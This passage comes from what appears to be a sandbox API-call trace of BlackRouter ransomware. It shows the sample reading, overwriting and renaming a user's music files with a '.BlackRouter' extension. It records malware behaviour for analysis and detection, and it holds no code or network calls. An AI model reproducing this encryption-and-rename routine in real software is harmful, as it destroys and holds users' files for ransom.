m\\N1kqY3ISsu29lP.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\n1kqy3issu29lp.wav.blackrouter")) returned 1 [0041.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\PfqPilgZ7WgjkG-_ePa.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\pfqpilgz7wgjkg-_epa.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.998] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x4ed9 [0041.998] ReadFile (in: hFile=0x258, lpBuffer=0x2a1e850, nNumberOfBytesToRead=0x4ed9, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x2a1e850*, lpNumberOfBytesRead=0x1ae668*=0x4ed9, lpOverlapped=0x0) returned 1 [0042.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\PfqPilgZ7WgjkG-_ePa.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\pfqpilgz7wgjkg-_epa.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.007] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\PfqPilgZ7WgjkG-_ePa.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\pfqpilgz7wgjkg-_epa.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2c6c6a0, ftCreationTime.dwHighDateTime=0x1d459d5, ftLastAccessTime.dwLowDateTime=0xb39fbee0, ftLastAccessTime.dwHighDateTime=0x1d45a19, ftLastWriteTime.dwLowDateTime=0xbf8d3c50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4ee0)) returned 1 [0042.007] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\PfqPilgZ7WgjkG-_ePa.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\pfqpilgz7wgjkg-_epa.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\PfqPilgZ7WgjkG-_ePa.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\pfqpilgz7wgjkg-_epa.wav.blackrouter")) returned 1 [0042.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\vAUmbFqVuAOM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\vaumbfqvuaom.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.008] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x2288 [0042.008] ReadFile (in: hFile=0x258, lpBuffer=0x2a29288, nNumberOfBytesToRead=0x2288, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x2a29288*, lpNumberOfBytesRead=0x1ae668*=0x2288, lpOverlapped=0x0) returned 1 [0042.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\vAUmbFqVuAOM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\vaumbfqvuaom.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.012] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\vAUmbFqVuAOM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\vaumbfqvuaom.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9255adf0, ftCreationTime.dwHighDateTime=0x1d46327, ftLastAccessTime.dwLowDateTime=0xe92a7c50, ftLastAccessTime.dwHighDateTime=0x1d4596d, ftLastWriteTime.dwLowDateTime=0xbf8d3c50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2290)) returned 1 [0042.012] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\vAUmbFqVuAOM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\vaumbfqvuaom.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\vAUmbFqVuAOM.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\vaumbfqvuaom.wav.blackrouter")) returned 1 [0042.018] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.018] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.019] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.019] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.020] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.020] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.021] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0042.026] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.026] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.026] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.026] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.026] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.026] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.026] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.026] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0042.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7 Uyy1x.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7 uyy1x.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.026] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xc2cf [0042.027] ReadFile (in: hFile=0x258, lpBuffer=0x28c0f00, nNumberOfBytesToRead=0xc2cf, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x28c0f00*, lpNumberOfBytesRead=0x1ae708*=0xc2cf, lpOverlapped=0x0) returned 1 [0042.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7 Uyy1x.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7 uyy1x.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7 Uyy1x.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7 uyy1x.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86998bb0, ftCreationTime.dwHighDateTime=0x1d45feb, ftLastAccessTime.dwLowDateTime=0xf3e45440, ftLastAccessTime.dwHighDateTime=0x1d4588c, ftLastWriteTime.dwLowDateTime=0xbf91ff10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc2d0)) returned 1 [0042.033] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7 Uyy1x.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7 uyy1x.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7 Uyy1x.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7 uyy1x.mp3.blackrouter")) returned 1 [0042.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8JdDwvU-CgAJ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8jddwvu-cgaj.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.033] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x1400b [0042.033] ReadFile (in: hFile=0x258, lpBuffer=0x28da008, nNumberOfBytesToRead=0x1400b, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x28da008*, lpNumberOfBytesRead=0x1ae708*=0x1400b, lpOverlapped=0x0) returned 1 [0042.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8JdDwvU-CgAJ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8jddwvu-cgaj.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.041] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8JdDwvU-CgAJ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8jddwvu-cgaj.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde7f8a0, ftCreationTime.dwHighDateTime=0x1d460f4, ftLastAccessTime.dwLowDateTime=0x2a071d0, ftLastAccessTime.dwHighDateTime=0x1d463a5, ftLastWriteTime.dwLowDateTime=0xbf91ff10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14010)) returned 1 [0042.041] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8JdDwvU-CgAJ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8jddwvu-cgaj.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8JdDwvU-CgAJ.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8jddwvu-cgaj.mp3.blackrouter")) returned 1 [0042.041] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Cu-nNe0mmo61lPzb99B.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\cu-nne0mmo61lpzb99b.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.042] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xbc04 [0042.042] ReadFile (in: hFile=0x258, lpBuffer=0x2902bf0, nNumberOfBytesToRead=0xbc04, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2902bf0*, lpNumberOfBytesRead=0x1ae708*=0xbc04, lpOverlapped=0x0) returned 1 [0042.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Cu-nNe0mmo61lPzb99B.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\cu-nne0mmo61lpzb99b.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.048] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Cu-nNe0mmo61lPzb99B.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\cu-nne0mmo61lpzb99b.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeff0d60, ftCreationTime.dwHighDateTime=0x1d4647c, ftLastAccessTime.dwLowDateTime=0x1f083820, ftLastAccessTime.dwHighDateTime=0x1d45e1a, ftLastWriteTime.dwLowDateTime=0xbf91ff10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xbc10)) returned 1 [0042.048] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Cu-nNe0mmo61lPzb99B.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\cu-nne0mmo61lpzb99b.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Cu-nNe0mmo61lPzb99B.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\cu-nne0mmo61lpzb99b.mp3.blackrouter")) returned 1 [0042.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\kTW2K2YM k8AJLZ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ktw2k2ym k8ajlz.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.049] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xa4fd [0042.049] ReadFile (in: hFile=0x258, lpBuffer=0x291aff0, nNumberOfBytesToRead=0xa4fd, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x291aff0*, lpNumberOfBytesRead=0x1ae708*=0xa4fd, lpOverlapped=0x0) returned 1 [0042.052] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\kTW2K2YM k8AJLZ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ktw2k2ym k8ajlz.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\kTW2K2YM k8AJLZ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ktw2k2ym k8ajlz.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9f690, ftCreationTime.dwHighDateTime=0x1d45f49, ftLastAccessTime.dwLowDateTime=0x4479a5c0, ftLastAccessTime.dwHighDateTime=0x1d45637, ftLastWriteTime.dwLowDateTime=0xbf946070, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa500)) returned 1 [0042.055] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\kTW2K2YM k8AJLZ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ktw2k2ym k8ajlz.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\kTW2K2YM k8AJLZ.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ktw2k2ym k8ajlz.mp3.blackrouter")) returned 1 [0042.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mx-rqY50Yr.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mx-rqy50yr.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.055] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x12327 [0042.056] ReadFile (in: hFile=0x258, lpBuffer=0x2930598, nNumberOfBytesToRead=0x12327, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2930598*, lpNumberOfBytesRead=0x1ae708*=0x12327, lpOverlapped=0x0) returned 1 [0042.059] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mx-rqY50Yr.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mx-rqy50yr.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.064] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mx-rqY50Yr.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mx-rqy50yr.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb572b220, ftCreationTime.dwHighDateTime=0x1d45c32, ftLastAccessTime.dwLowDateTime=0x11cba0f0, ftLastAccessTime.dwHighDateTime=0x1d4582c, ftLastWriteTime.dwLowDateTime=0xbf96c1d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x12330)) returned 1 [0042.064] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mx-rqY50Yr.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mx-rqy50yr.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mx-rqY50Yr.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mx-rqy50yr.mp3.blackrouter")) returned 1 [0042.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\pz 2cx.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\pz 2cx.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.065] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x1401d [0042.065] ReadFile (in: hFile=0x258, lpBuffer=0x2955768, nNumberOfBytesToRead=0x1401d, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2955768*, lpNumberOfBytesRead=0x1ae708*=0x1401d, lpOverlapped=0x0) returned 1 [0042.069] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\pz 2cx.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\pz 2cx.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\pz 2cx.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\pz 2cx.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d11e40, ftCreationTime.dwHighDateTime=0x1d46564, ftLastAccessTime.dwLowDateTime=0x94d6ec80, ftLastAccessTime.dwHighDateTime=0x1d45bd2, ftLastWriteTime.dwLowDateTime=0xbf96c1d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14020)) returned 1 [0042.072] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\pz 2cx.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\pz 2cx.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\pz 2cx.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\pz 2cx.mp3.blackrouter")) returned 1 [0042.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2uO4GzD1H.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2uo4gzd1h.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.073] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x9dd7 [0042.073] ReadFile (in: hFile=0x258, lpBuffer=0x297e300, nNumberOfBytesToRead=0x9dd7, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x297e300*, lpNumberOfBytesRead=0x1ae708*=0x9dd7, lpOverlapped=0x0) returned 1 [0042.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2uO4GzD1H.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2uo4gzd1h.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.078] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2uO4GzD1H.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2uo4gzd1h.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x357850d0, ftCreationTime.dwHighDateTime=0x1d456af, ftLastAccessTime.dwLowDateTime=0x41a69390, ftLastAccessTime.dwHighDateTime=0x1d45f82, ftLastWriteTime.dwLowDateTime=0xbf96c1d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9de0)) returned 1 [0042.078] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2uO4GzD1H.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2uo4gzd1h.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2uO4GzD1H.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2uo4gzd1h.mp3.blackrouter")) returned 1 [0042.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_2KZaW-bdXEPaPzni.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_2kzaw-bdxepapzni.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.078] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xb745 [0042.078] ReadFile (in: hFile=0x258, lpBuffer=0x2992a60, nNumberOfBytesToRead=0xb745, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2992a60*, lpNumberOfBytesRead=0x1ae708*=0xb745, lpOverlapped=0x0) returned 1 [0042.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_2KZaW-bdXEPaPzni.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_2kzaw-bdxepapzni.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_2KZaW-bdXEPaPzni.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_2kzaw-bdxepapzni.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa26958e0, ftCreationTime.dwHighDateTime=0x1d45b3e, ftLastAccessTime.dwLowDateTime=0x20cb4c70, ftLastAccessTime.dwHighDateTime=0x1d456e9, ftLastWriteTime.dwLowDateTime=0xbf992330, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb750)) returned 1 [0042.084] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_2KZaW-bdXEPaPzni.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_2kzaw-bdxepapzni.mp3"), 